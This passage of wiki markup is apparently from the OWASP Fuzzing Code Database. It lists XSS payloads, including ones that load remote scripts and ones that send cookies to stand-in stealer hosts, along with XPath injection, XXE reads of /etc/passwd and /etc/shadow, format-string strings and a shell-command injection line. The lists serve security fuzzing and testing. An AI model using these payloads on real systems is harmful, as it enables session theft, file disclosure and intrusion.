STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> 